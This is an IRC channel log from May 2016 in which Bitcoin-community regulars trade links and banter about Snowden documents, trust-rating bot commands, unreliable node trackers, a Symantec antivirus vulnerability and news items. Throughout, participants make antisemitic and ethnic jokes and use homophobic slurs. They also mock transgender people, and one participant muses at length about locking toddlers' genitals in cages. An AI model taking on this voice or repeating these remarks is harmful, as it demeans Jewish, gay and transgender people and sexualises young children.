minutes. 1467456;1463445914;asciilifeform;;;later tell BingoBoingo https://theintercept.com/snowden-sidtoday << qntra ? 1467457;1463445914;gribble;The operation succeeded. 1467458;1463445941;*;asciilifeform has been looking, it appears to be - like the other snowdeniana - mostly rubbish 1467459;1463446156;asciilifeform;'Consistent with the requirements of our agreement with our source, our editors and reporters have carefully examined each document, redacted names of low-level functionaries and other information that could impose serious harm on innocent individuals, and given the NSA an opportunity to comment on the documents to be published (the NSA’s comments resulted in no redactions other than two names of relatively low-level employees that 1467460;1463446156;asciilifeform; we agreed, consistent with our long-standing policy, to redact). ' << aahahahahaha 1467461;1463446164;asciilifeform;'we asked hitler first!' 1467462;1463446189;asciilifeform;sop for the greenwalders. 1467463;1463446226;asciilifeform;'There are also documents in the archive that we do not believe should be published because of the severe harm they would cause innocent people (e.g., private communications intercepted by NSA, the disclosure of which would destroy privacy rights; and documents containing government speculation about bad acts committed by private individuals (typically from marginalized communities), the disclosure of which would permanently destroy 1467464;1463446226;asciilifeform;reputations).' 1467465;1463446271;asciilifeform;... how about the imbecile's ~own~ reputation ? 1467466;1463446669;asciilifeform;from the l0lchest, 1467467;1463446681;asciilifeform;https://theintercept.com/snowden-sidtoday/2830111-mathematician-an-insider-s-view << the first snowden-anything that even ~mentions~ crypto, afaik 1467468;1463446692;asciilifeform;an utter snore. 1467469;1463448006;felipelalli;deedbot http://dpaste.com/2Q5NW4S.txt 1467470;1463448259;felipelalli;deedbot http://dpaste.com/110RSQS.txt 1467471;1463448737;felipelalli;deedbot are you sleeping? 1467472;1463448752;felipelalli;deedbot- http://dpaste.com/110RSQS.txt 1467473;1463448761;deedbot-;accepted: 1 1467474;1463448768;felipelalli;I'm sorry, wrong deedbot, I thought it was already merged. 1467475;1463449696;mircea_popescu;asciilifeform how the fuck are "low leve functionaries" innocent 1467476;1463449745;mircea_popescu;they're the guiltiest wtf. 1467477;1463449768;mircea_popescu;~the only people that are getting shot. otherwise, hitler himself usually pivots into court jester job. 1467478;1463449788;asciilifeform;dun ask me! 1467479;1463449792;asciilifeform;ask the greencocksucker 1467480;1463449819;mircea_popescu;hey, the emulator said you'd say "don'\t ask me! ask them!" 1467481;1463449825;asciilifeform;aha! 1467482;1463449832;asciilifeform;he even censored some of the humour column 'where i used to work before nsa' things 1467483;1463449849;asciilifeform;because - i suppose - items like 'i designed the levels for the game xxxxxxxxx' might give the name away 1467484;1463449858;*;asciilifeform just finished snarfing up whole crock of shit 1467485;1463449887;mircea_popescu;in a different life you could have been gru "low level employee". making 2-3 summaries/day 1467486;1463449901;asciilifeform;neh, too ethnic 1467487;1463449915;asciilifeform;just like - incidentally - here in good old usa 1467488;1463449915;mircea_popescu;afaik they let orcs in that sorta job. 1467489;1463449926;asciilifeform;non-jew orcs. 1467490;1463449953;mircea_popescu;lol. jew enough to count here, not jew enough to own real estate huh. 1467491;1463449964;mircea_popescu;alf the fell-through-teh-jew-cracks 1467492;1463449967;asciilifeform;jew means quite other thing in su. 1467493;1463449979;asciilifeform;sorta like the dark skinned turks in mircea_popescu's mosque 1467494;1463449984;asciilifeform;sole purpose is to fill the back row. 1467495;1463450017;mircea_popescu;btw, "generalnvo shtaba" was always the fucking lulziest thing. because, obvious, in ro shtab denotes... well what you'd call a catamite. 1467496;1463451267;asciilifeform;l0l! 1467497;1463451281;*;asciilifeform totters, falls down 1467498;1463451319;mircea_popescu;you know ? 1467499;1463451342;asciilifeform;well now i know. 1467500;1463451377;mircea_popescu;in other news, https://www.youtube.com/watch?v=uq-gYOrU8bA 1467501;1463456744;ben_vulpes;jew enough to get in, too ethnic to get joo gold once in 1467502;1463457422;mircea_popescu;aha. 1467503;1463457902;mircea_popescu;and speaking of heresy : "lone wolf" for the ishits is an incredible game. it actually makes the platform all by itself. i'm ranking it up there with baldur's gate and the gothic series, it's an absolute gem. 1467504;1463457949;mircea_popescu;based apparently on some derpy genre fiction by a fellow named joe dever. he's not very good, and his purply prose somewhat brings it down. if only they had someone who could write. but otherwise, the execution is outright brilliant 1467505;1463458273;mircea_popescu;gotta play it on hard difficulty, of course. first time i've seen a combat system i liked, for that matter. 1467506;1463459407;ben_vulpes;high praise 1467507;1463459579;mircea_popescu;deserved. 1467508;1463469233;BingoBoingo;* asciilifeform has been looking, it appears to be - like the other snowdeniana - mostly rubbish << Saw, seemed to be my take, slept on it and still mulling it over 1467509;1463470472;BingoBoingo;Quality baseball https://i.kinja-img.com/gawker-media/image/upload/s--sC-Ay7LG--/c_scale,fl_progressive,q_80,w_800/tu3ntd89lvismlevh4pp.jpg 1467510;1463471178;BingoBoingo;In other news, that is a hell of an obstacle for that team to face on that race https://i.sli.mg/IL9ex0.jpg 1467511;1463471447;mircea_popescu;ftr, that butnodes thing is not terribly reliable. 91.218.246.31, 46.166.160.36, 46.166.170.208 all online talking to the public, but it "doesn't see them". 1467512;1463471927;BingoBoingo;Looking like New York magazine is following mircea_popescu's literary lead and promoting cock cages for all https://archive.is/gYtU9 1467513;1463471960;mircea_popescu;lol! 1467514;1463471988;BingoBoingo;"Welcome to Beta Male, a new site from New York Media that for the next four weeks will talk about manly kinds of things, only maybe not in the usual manly way. And welcome to Mansplaining, a weeklong series on the Cut in which men will (finally) explain themselves to women, in any way they want. The convergence of these two offerings is coincidental but, we hope, serendipitous — an opportunity for the sexes to talk, fight a little, an 1467515;1463471988;BingoBoingo;d ultimately ignore each other." 1467516;1463472090;mircea_popescu;honestly, it's a surprise to me they haven't introduced cockcaging for us kids as of yet. for one thing, they're doing the entire fucktarded "can't drink till 21", so they definitely could. for the other thing, it'd make so much fucking sense, in the twisted psychopathy that passes for sense in the us world : kid gets a nice cage around the age of 3 or so. prevents penis from growing, which is +++. mom gives the key to a well 1467517;1463472091;mircea_popescu; brought up lady sometime, which maybe lets the little guy out a little now and again. 1467518;1463472094;BingoBoingo;Further sacrilege from that outlet: "That may sound steep for what looks like Tony Stark’s Keurig, but Beyond Zero could be the biggest thing in alcohol since the tiny umbrella. Unlike frozen water, when booze cubes melt they don’t dilute a drink; and in fact, they make it colder, because they freeze at temperatures well below 32 degrees, when water turns to ice. The benefit: “It really smooths a drink out,” Sherman says. “It r 1467519;1463472094;BingoBoingo;emoves the ethanol heat.” High-proof liquors go down easier at low temperatures, resulting in beverages that taste as God intended, without all the burning. If you ever wondered why your uncle keeps his jug of Popov in the freezer, now you know." 1467520;1463472115;mircea_popescu;they already did the whole male genital mutilation thing "for medicine and science", no idea why not use the modern technology to enact the logical progress. 1467521;1463472173;mircea_popescu;maybe next 5year plan though. 1467522;1463472640;BingoBoingo;mebbe 1467523;1463472661;BingoBoingo;Or perhaps they will start on college campuses? 1467524;1463472791;mircea_popescu;kinda late, but i guess yo ugotta start somewhere. 1467525;1463472885;BingoBoingo;Well that's where the rap hysteria is, give the keys the title IX office 1467526;1463472893;mircea_popescu;now let's have a little fun 1467527;1463472900;mircea_popescu;$rate trinque 4 his lordship the master of the rolls. 1467528;1463472916;deedbot;Get your OTP: http://wotpaste.cascadianhacker.com/r/5d64187e-d77e-4310-a6d3-417a9837c03a/ 1467529;1463472946;mircea_popescu;$v C4606D05AA10B2876F98DBBDDF5EA99358D70CAF06A454D9983EDFDA790FB75F 1467530;1463472947;deedbot;mircea_popescu updated rating of trinque from 3 to 4 << his lordship the master of the rolls. 1467531;1463472974;mircea_popescu;$rate phf 4 his lordship the lord chancellor 1467532;1463472975;deedbot;Get your OTP: http://wotpaste.cascadianhacker.com/r/b4d17c8d-c40e-46f4-936e-57df43765d74/ 1467533;1463472997;mircea_popescu;$v A6827646EF601408B9EF8189EF97A279D499CD51E407DD8BA6D5189EFA3B3FAB 1467534;1463472997;deedbot;mircea_popescu updated rating of phf from 4 to 4 << his lordship the lord chancellor 1467535;1463473019;mircea_popescu;$rate bingoboingo 4 his lordship the lord goebbels. 1467536;1463473019;deedbot;Get your OTP: http://wotpaste.cascadianhacker.com/r/ed8a6a87-4a6f-4094-b285-a5d34b97a977/ 1467537;1463473028;BingoBoingo;lol 1467538;1463473046;mircea_popescu;$v FDFF9C5010806654EA71128F7EEF8972F357C84347D24C2E329EBBD8C88F3143 1467539;1463473046;deedbot;mircea_popescu updated rating of bingoboingo from 4 to 4 << his lordship the lord goebbels. 1467540;1463473047;mircea_popescu;hehe. 1467541;1463473053;mircea_popescu;$rate mod6 5 his lordship the lord high steward. 1467542;1463473054;deedbot;Get your OTP: http://wotpaste.cascadianhacker.com/r/e9b9d77c-0a0e-4bd7-898d-798551684832/ 1467543;1463473079;mircea_popescu;$v C8028A7E0EBF7A608F5140E3F42D2CAE9AA36D645A86330C2B0CE7B8E73C3515 1467544;1463473080;deedbot;mircea_popescu updated rating of mod6 from 5 to 5 << his lordship the lord high steward. 1467545;1463473121;mircea_popescu;$rate hanbot 5 her ladyship the lady falconeer. 1467546;1463473122;deedbot;Get your OTP: http://wotpaste.cascadianhacker.com/r/f45c3bc6-9d86-4b9d-aa68-2c84b7a200bc/ 1467547;1463473147;mircea_popescu;$v 03C705A497E5F3A0FE9734C480E056B616109B4D7EC2B7DF934446E911115BB3 1467548;1463473147;deedbot;mircea_popescu updated rating of hanbot from 5 to 5 << her ladyship the lady falconeer. 1467549;1463473157;mircea_popescu;$rate diana_coman 5 her ladyship the marquess eulora. 1467550;1463473157;deedbot;Get your OTP: http://wotpaste.cascadianhacker.com/r/89e1a5bb-9991-451e-be01-4bacefd1c84c/ 1467551;1463473198;mircea_popescu;$v 2BC30533E2FABE5EDB0206530BE3D64CF5DD2D22BE943F3B774709433770EDAC 1467552;1463473198;deedbot;mircea_popescu updated rating of diana_coman from 4 to 5 << her ladyship the marquess eulora. 1467553;1463473206;mircea_popescu;$rate danielpbarron 4 his worship the learned trishop. 1467554;1463473207;deedbot;Get your OTP: http://wotpaste.cascadianhacker.com/r/084f93d6-0896-4dbd-b07a-9f5e87451693/ 1467555;1463473235;mircea_popescu;$v BC6EE9CD5DF3125542C1A145EB459B41E1159F76A6CA5CEB9A17336BD0A175AB 1467556;1463473235;deedbot;mircea_popescu updated rating of danielpbarron from 3 to 4 << his worship the learned trishop. 1467557;1463473245;mircea_popescu;$rate asciilifeform 5 his lordship the lord admiral. 1467558;1463473246;deedbot;Get your OTP: http://wotpaste.cascadianhacker.com/r/efc7e812-a081-4614-8e07-127a52c9ecaa/ 1467559;1463473270;mircea_popescu;$v B2E1E253DB45A6E8C8288791D813F140FE02EE69A87736F2F5E437BD8EA61373 1467560;1463473271;deedbot;mircea_popescu updated rating of asciilifeform from 5 to 5 << his lordship the lord admiral. 1467561;1463473279;mircea_popescu;$rate davout 5 his lordship the master of common pleas. 1467562;1463473280;deedbot;Get your OTP: http://wotpaste.cascadianhacker.com/r/d92e25d4-6627-4ddf-a074-b6badaa259d9/ 1467563;1463473305;mircea_popescu;$v 52917C3619E75035C79C9EB6DCFD2AAEF407B69B2679C41BF4E6347431FF1FE7 1467564;1463473306;deedbot;mircea_popescu updated rating of davout from 4 to 5 << his lordship the master of common pleas. 1467565;1463473314;mircea_popescu;$rate jurov 5 his lordship the lord treasurer. 1467566;1463473315;deedbot;Get your OTP: http://wotpaste.cascadianhacker.com/r/059bb783-ab35-4392-8ade-34570cfa5775/ 1467567;1463473339;mircea_popescu;$v BA2AAA69AB23D99BD9F6DBD2B49CF70D5251AFF53E9187A8EA30A10F95D9B9CE 1467568;1463473339;deedbot;mircea_popescu updated rating of jurov from 5 to 5 << his lordship the lord treasurer. 1467569;1463473347;mircea_popescu;$rate ben_vulpes 4 the right honorable lord vulpes. 1467570;1463473350;deedbot;Get your OTP: http://wotpaste.cascadianhacker.com/r/8b797d59-8a58-4d77-8961-3f353a551458/ 1467571;1463473391;mircea_popescu;$v 0BBA48BD151961D75467B4437257FEB3DB8218C87C6E2776657806C119275035 1467572;1463473391;deedbot;mircea_popescu updated rating of ben_vulpes from 4 to 4 << the right honorable lord vulpes. 1467573;1463473397;mircea_popescu;$rate mike_c 4 the right honorable lord c. 1467574;1463473397;deedbot;Get your OTP: http://wotpaste.cascadianhacker.com/r/f5acabd3-44c8-4088-9a09-6b87ea45171d/ 1467575;1463473422;mircea_popescu;$v 769DE2CB082E4978441D900F678173341ACF15C1D5D5DEF00BE53565BF63FEA0 1467576;1463473422;deedbot;mircea_popescu updated rating of mike_c from 4 to 4 << the right honorable lord c. 1467577;1463473429;mircea_popescu;aaaand... i think that's erryone. 1467578;1463485491;shinohai;http://btcbase.org/log/2016-05-17#1467511 <<< this is what a few million in 'murican VC funding buys you today! 1467579;1463485491;a111;Logged on 2016-05-17 07:50 mircea_popescu: ftr, that butnodes thing is not terribly reliable. 91.218.246.31, 46.166.160.36, 46.166.170.208 all online talking to the public, but it "doesn't see them". 1467580;1463489093;*;jurov iz 1773 l0rd yay! 1467581;1463489100;jurov;https://media.giphy.com/media/zeLKVgFt0bDpe/giphy.gif 1467582;1463489178;mircea_popescu;lol 1467583;1463489215;mircea_popescu;that's one rough bear. 1467584;1463491756;ben_vulpes;http://66.media.tumblr.com/c674eb0ca22b78f6f3527bf1ff37a14f/tumblr_o5ftx1qfGK1v05rsfo1_1280.jpg 1467585;1463491797;*;ben_vulpes still has no idea what he's doing on the lordship, has barely adlai-grade snr 1467586;1463491833;ben_vulpes;http://btcbase.org/log/2016-05-17#1467578 << sorta works, for some value of work, some of the time. throwing shit at the wall to see what sticks. 1467587;1463491833;a111;Logged on 2016-05-17 11:44 shinohai: http://btcbase.org/log/2016-05-17#1467511 <<< this is what a few million in 'murican VC funding buys you today! 1467588;1463493845;mircea_popescu;ben_vulpes well, maybe you find something. 1467589;1463494801;*;asciilifeform puts on his tricorn 1467590;1463494816;mircea_popescu;ahoy! 1467591;1463494891;asciilifeform;http://btcbase.org/log/2016-05-17#1467516 << my current understanding is that this is being done, but using dope, and without the off switch 1467592;1463494891;a111;Logged on 2016-05-17 08:01 mircea_popescu: honestly, it's a surprise to me they haven't introduced cockcaging for us kids as of yet. for one thing, they're doing the entire fucktarded "can't drink till 21", so they definitely could. for the other thing, it'd make so much fucking sense, in the twisted psychopathy that passes for sense in the us world : kid gets a nice cage around the age of 3 or so. prevents penis from growing, which is +++. mom gives the key to a well 1467593;1463494913;mircea_popescu;yeah, but that's a shittier solution. 1467594;1463494921;mircea_popescu;cage is palpable, therefore educative. 1467595;1463494945;asciilifeform;the zookeepers aren't esp. interested in education, but in... domestication 1467596;1463494962;asciilifeform;hence steers. 1467597;1463494991;asciilifeform;meanwhile, from the dept. of Run Moar Winblowz: https://bugs.chromium.org/p/project-zero/issues/detail?id=820 1467598;1463494993;mircea_popescu;i guess a bureaucracy can't even be proficient in perversity. 1467599;1463495027;asciilifeform;'When parsing executables packed by an early version of aspack, a buffer overflow can occur in the core Symantec Antivirus Engine used in most Symantec and Norton branded Antivirus products. ... This is a remote code execution vulnerability. Because Symantec use a filter driver to intercept all system I/O, just emailing a file to a victim or sending them a link is enough to exploit it. On Linux, Mac and other UNIX platforms, this res 1467600;1463495027;asciilifeform;ults in a remote heap overflow as root in the Symantec or Norton process. On Windows, this results in kernel memory corruption, as the scan engine is loaded into the kernel (wtf!!!), making this a remote ring0 memory corruption vulnerability - this is about as bad as it can possibly get.' 1467601;1463495053;mircea_popescu;hahaaha what@ 1467602;1463495058;asciilifeform;aha. 1467603;1463495096;phf;such beauty 1467604;1463495118;mircea_popescu;anyone has any argument as to how exactly the "computer security" people aren't EXACTLY scammers ? 1467605;1463495223;asciilifeform;btw this is not 1st time av gets raped 1467606;1463495228;asciilifeform;almost a routine now 1467607;1463495235;mircea_popescu;aha. 1467608;1463495417;asciilifeform;meanwhile, from the dept. of orl0lz, http://cluborlov.blogspot.com/2016/05/the-negative-interest-rate-gap.html 1467609;1463495660;phf;http://www.wsj.com/articles/buffetts-berkshire-takes-1-billion-position-in-apple-1463400389 << "just didn’t seem like a move Mr. Buffett would make. It wasn’t, as it turns out. Instead, it was among the largest investments yet by the two former hedge-fund managers that Mr. Buffett brought on board as potential successors to run his company’s $129 billion stock portfolio." 1467610;1463495989;phf;(and since nobody should be arsed to read that shit, i'll spoil the names for you, "But Todd Combs, who joined Berkshire in 2011, and Ted Weschler, who arrived a year later", rest of article is a mix of head scratching and guarded apple praise) 1467611;1463496497;asciilifeform;l0l! 1467612;1463496501;asciilifeform;so he ~did~ get bobbecked. 1467613;1463496629;mircea_popescu;ha. 1467614;1463496656;ben_vulpes;nobody finds the proximity of this to the 'apple invests 1b in didi" story interesting? 1467615;1463496666;asciilifeform;http://btcbase.org/log/2016-05-17#1467579 << 91* actually appears on that site's list (as of today), the other two do not - but i can't connect to them either. blackholed. 1467616;1463496666;a111;Logged on 2016-05-17 11:44 a111: Logged on 2016-05-17 07:50 mircea_popescu: ftr, that butnodes thing is not terribly reliable. 91.218.246.31, 46.166.160.36, 46.166.170.208 all online talking to the public, but it "doesn't see them". 1467617;1463496675;asciilifeform;ben_vulpes: what's didi 1467618;1463496689;ben_vulpes;especially after the buffet "america is best investmant!1" routine of the past five years? 1467619;1463496694;mircea_popescu;ben_vulpes maybe BingoBoingo if he can be arsed. 1467620;1463496716;ben_vulpes;asciilifeform: http://www.reuters.com/article/us-apple-china-idUSKCN0Y404W, to pick at random 1467621;1463496752;asciilifeform;lel, that's pretty random 1467622;1463496754;asciilifeform;chinese uber ? 1467623;1463496768;ben_vulpes;"for teh car!" 1467624;1463496772;ben_vulpes;"big data!" 1467625;1463496781;asciilifeform;i still dun get it 1467626;1463496781;mircea_popescu;asciilifeform appears, but magically still 6 seen. etc. 1467627;1463496785;mircea_popescu;not reliable is niot reliable. 1467628;1463496785;asciilifeform;may as well invest in cement ? 1467629;1463496789;ben_vulpes;"exposure to cn!" 1467630;1463496809;asciilifeform;mircea_popescu: my point is that the whole motherfucking orchestra is not reliable 1467631;1463496813;mircea_popescu;also note the "since 5 minutes ago". 46.* didn't blinl 1467632;1463496824;asciilifeform;not only hitler says he can't connect, but i can't either... 1467633;1463496864;asciilifeform;the 'let's talk plaintext to randos' thing was great while it lasted. 1467634;1463496919;asciilifeform;from ben_vulpes's link, 1467635;1463496921;asciilifeform;'Jean Liu, Didi's president, is the daughter of Liu Chuanzhi, the politically connected founder of Chinese computer maker Lenovo Group Ltd (0992.HK).' 1467636;1463496925;asciilifeform;cn sop. 1467637;1463496961;mircea_popescu;accepted 136.243.139.96:43112 disconnecting 136.243.139.96:43112 accepted 178.62.20.190:35312 1467638;1463496963;mircea_popescu;blackholed my foot. 1467639;1463497156;mircea_popescu;disconnecting 136.243.139.96:7513 < actually it's quite obviously being spammed. 1467640;1463497159;asciilifeform;re earlier lulz, http://www.reuters.com/article/us-china-usa-companies-lawsuits-idUSKCN0Y2131 1467641;1463497163;asciilifeform;mircea_popescu: noshit.jpg 1467642;1463497171;mircea_popescu;derps. 1467643;1463497188;mircea_popescu;disconnecting 129.13.252.47:59763 accepted 129.13.252.47:60827 1467644;1463497207;mircea_popescu;basically there's a pile of derps connecting on all the ports. not so hard to blacklist i guess. 1467645;1463497245;mircea_popescu;and it's obviously an attempt at attrition seeing how the sockets receive no messages 1467646;1463497783;mircea_popescu; 164 46.101.246.115 ; 152 136.243.139.96 ; 72 148.251.151.71 ; 125 173.255.251.118 ; 95 181.171.213.172 ; << the offenders 1467647;1463497882;jurov;https://www.youtube.com/watch?v=qAOLTsTtZis something special for BingoBoingo 1467648;1463497942;mircea_popescu;asciilifeform check it out, now they see one of mine in 46.* but no longer yours. because there's a rule lol. 1467649;1463497980;mircea_popescu;such tools. 1467650;1463498974;asciilifeform;brilliant 1467651;1463499434;shinohai;;;later tell BingoBoingo morning lampoon: http://ix.io/FwI 1467652;1463499435;gribble;The operation succeeded. 1467653;1463499462;BingoBoingo; http://btcbase.org/log/2016-05-17#1467516 << my current understanding is that this is being done, but using dope, and without the off switch << AHA, prozac, zoloft, paxil and other SSRI drugs 1467654;1463499462;a111;Logged on 2016-05-17 08:01 mircea_popescu: honestly, it's a surprise to me they haven't introduced cockcaging for us kids as of yet. for one thing, they're doing the entire fucktarded "can't drink till 21", so they definitely could. for the other thing, it'd make so much fucking sense, in the twisted psychopathy that passes for sense in the us world : kid gets a nice cage around the age of 3 or so. prevents penis from growing, which is +++. mom gives the key to a well 1467655;1463499732;BingoBoingo;jurov: lol 1467656;1463499903;BingoBoingo;In other news, Imgur.com is the latest popular shitsite whose urls will lead to a Qntra comment being auto ignored as spam. 1467657;1463500204;asciilifeform;BingoBoingo: speaking of newzl0lz, http://arstechnica.com/tech-policy/2016/05/feds-say-suspect-should-rot-in-prison-for-refusing-to-decrypt-drives 1467658;1463500224;BingoBoingo;lol 1467659;1463500275;asciilifeform;'The government said Monday he should remain jailed indefinitely until he complies. The authorities also said that it's not a violation of the man's Fifth Amendment right against compelled self-incrimination because it's a "foregone conclusion" that illegal porn is on the drives and that he is only being asked to unlock the drives, not divulge their passcodes. 1467660;1463500276;asciilifeform;' 1467661;1463500313;asciilifeform;cokemachine is not far. 1467662;1463500371;shinohai;http://fortune.com/2016/05/16/venezuela-jail-factory-owners/ 1467663;1463500377;BingoBoingo;asciilifeform: You seem like a less busy person nao. You want to write up that news from coke machine slant? 1467664;1463500434;asciilifeform;BingoBoingo: i'm still pretty busy, at least for a while 1467665;1463500440;BingoBoingo;k 1467666;1463500489;asciilifeform;it isn't as if i found a magic well of dough, i still (imagine) do wurk 1467667;1463500512;asciilifeform;presently wrapping my head around a gigantic src ball of ???? 1467668;1463500542;BingoBoingo;Have you tried applying to Home Depot? They will let you work part time. 20 hours/week leaves you less prison time than 40+ hours of sodomy. 1467669;1463500572;asciilifeform;BingoBoingo: i dun leave the house no moar. 1467670;1463500608;asciilifeform;(there will be some sort of gig i fly out to a few x/year, but hasn't yet happened) 1467671;1463500747;deedbot;[Qntra] Hussein Bahamas "Homeland Security" Department Wages War On Massage - http://qntra.net/2016/05/hussein-bahamas-homeland-security-department-wages-war-on-massage/ 1467672;1463500756;asciilifeform;and i am really curious what BingoBoingo has been smoking 1467673;1463500769;BingoBoingo;Tobacco 1467674;1463500772;asciilifeform;'home despot' month wage wouldn't even pay my electric bill. 1467675;1463500799;BingoBoingo;Use less electric? Seriously though they'd basically be paying you to exercise. 1467676;1463500831;BingoBoingo;And it would be hard to service Hitler there 1467677;1463500867;asciilifeform;by that token i could eat pistol and use 0 electric 1467678;1463500870;asciilifeform;but not interested yet. 1467679;1463500944;BingoBoingo;Anyways, prolly ought to convert as many appliances as you can from electric to 2-cycle gas motors because Hitler hates their farts. 1467680;1463500997;asciilifeform;i can think of very few mechanisms i despise more than 2cycle engine. 1467681;1463501034;asciilifeform;if there is any point at all to having civilizations that ban things, 2cycle ought to have long ago been placed where the spark gap radio is 1467682;1463501046;asciilifeform;forbidden anywhere near population centres 1467683;1463501203;BingoBoingo;What's wrong with 2-cycle? They are wonderfully simple. No need to do seperate oil changes. 1467684;1463501256;asciilifeform;BingoBoingo enjoys breathing burned oil ? 1467685;1463501318;BingoBoingo;2-cycle exhaust is the EXACT smell of freedom and opportunity! 1467686;1463501369;asciilifeform;nah that'd be napalm in the morning 1467687;1463501374;asciilifeform;or was that victory. 1467688;1463501430;BingoBoingo;That is victory. 1467689;1463501465;asciilifeform;'One of the women allegedly offered an undercover officer money in exchange for a sexual act, resulting in an additional prostitution charge.' << not misprint ? 1467690;1463501470;asciilifeform;dog bit man ? 1467691;1463501475;asciilifeform;or man - dog ? 1467692;1463501491;BingoBoingo;^ shinohai 1467693;1463501492;asciilifeform;i read 'man - dog' 1467694;1463501499;BingoBoingo;seems man bit dog 1467695;1463501554;*;shinohai shrugs, prepares more tea. 1467696;1463501573;asciilifeform;http://qntra.net/2016/05/countable-classiccoin-nodes-dropping/#comment-58690 << lulzy 1467697;1463501610;BingoBoingo;shinohai: Which way is it supposed to read? 1467698;1463501707;shinohai;I dunno, will reread after this tea is finished. 1467699;1463501843;asciilifeform;from the dept. of ancient things that were neato, http://www.slate.com/articles/technology/bitwise/2014/01/robot_odyssey_the_hardest_computer_game_of_all_time.html 1467700;1463502024;deedbot;[Qntra] Hussein Bahamas "Justice" Department To Jail US Citizen Indefinitely Without Charges - http://qntra.net/2016/05/hussein-bahamas-justice-department-to-jail-us-citizen-indefinitely-without-charges/ 1467701;1463502708;BingoBoingo;;;bc,stats 1467702;1463502713;gribble;Current Blocks: 412179 | Current Difficulty: 1.9425482028344403E11 | Next Difficulty At Block: 413279 | Next Difficulty In: 1100 blocks | Next Difficulty In About: 1 week, 0 days, 11 hours, 35 minutes, and 30 seconds | Next Difficulty Estimate: None | Estimated Percent Change: None 1467703;1463509135;asciilifeform;;;later tell hanbot http://thewhet.net/2016/2016-baibf-a-drudgery << somehow i missed this. quite lulzy, and reminiscent of american b00k-centered events (e.g., sf cons) 1467704;1463509135;gribble;The operation succeeded. 1467705;1463509570;asciilifeform;;;seen polarbeard 1467706;1463509570;gribble;I have not seen polarbeard. 1467707;1463509608;asciilifeform;;;seen funkenstein_ 1467708;1463509609;gribble;I have not seen funkenstein_. 1467709;1463509619;asciilifeform;interesting. 1467710;1463509778;asciilifeform;in other 'news', 1467711;1463509814;asciilifeform;trb on dulap up for 127 d, 17h, 30m, contiguous; current footprint == ~8G. 1467712;1463510264;BingoBoingo;nice 1467713;1463510280;asciilifeform;ny000000000000 r3c0rd every day!11111 1467714;1463510533;deedbot;[Qntra] Transmayos Throw Wrench In Hussein Bahamas Bathroom Brouha - http://qntra.net/2016/05/transmayos-throw-wrench-in-hussein-bahamas-bathroom-brouha/ 1467715;1463510751;BingoBoingo;^ Literal application of shitware tag 1467716;1463512836;asciilifeform;BingoBoingo: i find it quite nontrivial to unravel wtf that piece is actually about 1467717;1463512850;asciilifeform;having read none of the redditola that presumably prompted it 1467718;1463512852;BingoBoingo;Transgenders and bathrooms 1467719;1463512859;asciilifeform;yeah but ~what~ about'em 1467720;1463512872;asciilifeform;i have intensely nfi what the actual latest 'twist' is 1467721;1463512889;BingoBoingo;And Bahamas insisting people allow transgenders to use the bathrooms they identify as, even if they are mayogender but still identify as their former gender 1467722;1463512913;asciilifeform;as i understood it, the entire 2bathroom thing is slowly being repealed 1467723;1463512935;asciilifeform;for some reason this doesn't tickle me 1467724;1463512939;BingoBoingo;No, just the meaning of the 2bathroom is changing. 1467725;1463512953;asciilifeform;(although mircea_popescu pretty convincingly explained that it ought to) 1467726;1463513070;BingoBoingo;Eh, the pentagon was built with a 4bathroom system 1467727;1463513088;asciilifeform;m/w * black/white ? 1467728;1463513094;BingoBoingo;aha 1467729;1463513418;asciilifeform;http://rationalwiki.org/wiki/The_Pentagon << related comedy 1467730;1463513469;hanbot;BingoBoingo, a few typographical edits: Last week much of the American media's news pipelines were constipated the announcement / constipated by/with ; Hussein Bahamas announcement / Bahamas' ; a adipose filled apron / an adipose ; Many mayogndered individuals / mayogendered ; insistence of maygendered / mayogendered ; than it is for male and females / males . 1467731;1463513614;hanbot;http://btcbase.org/log/2016-05-17#1467703 << only conventions i ever attended back in us were sd comicon, seemed markedly less lame (but still fairly lame). 1467732;1463513614;a111;Logged on 2016-05-17 18:18 asciilifeform: ;;later tell hanbot http://thewhet.net/2016/2016-baibf-a-drudgery << somehow i missed this. quite lulzy, and reminiscent of american b00k-centered events (e.g., sf cons) 1467733;1463513679;BingoBoingo;ty, fxing 1467734;1463513680;asciilifeform;hanbot: i showed up at 'balticon' a few times (where i even saw, by pure chance... the infamous eric raymond, limping along) 1467735;1463513686;asciilifeform;and also at 'capclave' 1467736;1463513701;asciilifeform;both are ok places to load up on '50s-60s paperback sf 1467737;1463513744;trinque;the bathroom thing is yet another "social issue" that can stall permanently like gay marriage or abortion 1467738;1463513754;asciilifeform;typically they have an actual writer as guest of honor, and a hundred or so pathetic 'wannabees' 1467739;1463513773;trinque;thereby taking up the limited resources of the democratic mind 1467740;1463513778;hanbot;asciilifeform good enough, but do they sport >9000 noise/myopia machines? 1467741;1463513806;asciilifeform;hanbot: these being what ? 1467742;1463513856;asciilifeform;trinque: on the contrary, it is moving along nicely. e.g., in many restaurants even now, there is only 1 or more single-locking-room bathrooms. i welcome the extinction of the other kind, where you actually see/hear/smell the other people. 1467743;1463513861;asciilifeform;good motherfuckign riddance. 1467744;1463513913;hanbot;portable radios/pc "sound systems"/projectors/color-changing spotlights/blinkenlichten 1467745;1463513925;asciilifeform;hanbot: nope. 1467746;1463513938;phf;asciilifeform: main issue with that plan is that girls notoriously take longer time in the bathroom. very rarely do i have to wait in man's bathroom, but i've now spent some time in long mixed gender lines 1467747;1463513950;BingoBoingo;ty hanbot should be fixed 1467748;1463513965;hanbot;cool deal 1467749;1463514017;asciilifeform;phf: if anyone cared to solve this, it is trivially solvable, and iirc some western eu places have the pill against it: door automatically opens after x minutes 1467750;1463514032;BingoBoingo;Some changes were made to the changes "male and females" was instead changed to "traditionally gendered" 1467751;1463514038;asciilifeform;countdown, 3, 2, 1, and yer pants had better be up 1467752;1463514058;hanbot; the bathroom thing is yet another "social issue" that can stall permanently like gay marriage or abortion << pun o' the day 1467753;1463514258;BingoBoingo;One thing that is becoming clear is the lord admirald alf is not ready to take his fleet into fight the culture war 1467754;1463514302;asciilifeform;waiwut 1467755;1463514307;asciilifeform;there's culture there? 1467756;1463514329;asciilifeform;i hear there is also a war between the 2 anthills in my back yard 1467757;1463514339;asciilifeform;i have not yet signed up to take sides in that one yet, either. 1467758;1463514368;BingoBoingo;No culture, but that doesn't mean there can't be a fight over the absence 1467759;1463514405;asciilifeform;BingoBoingo: so what do you see as the opposing sides here 1467760;1463514429;BingoBoingo;Who said the sides had to be opposing? 1467761;1463514440;asciilifeform;sorta implied in 'war' neh? 1467762;1463514448;BingoBoingo;Do shit flinging monkeys have stable sides in their turdwarz? 1467763;1463514467;BingoBoingo;$up Framedragger 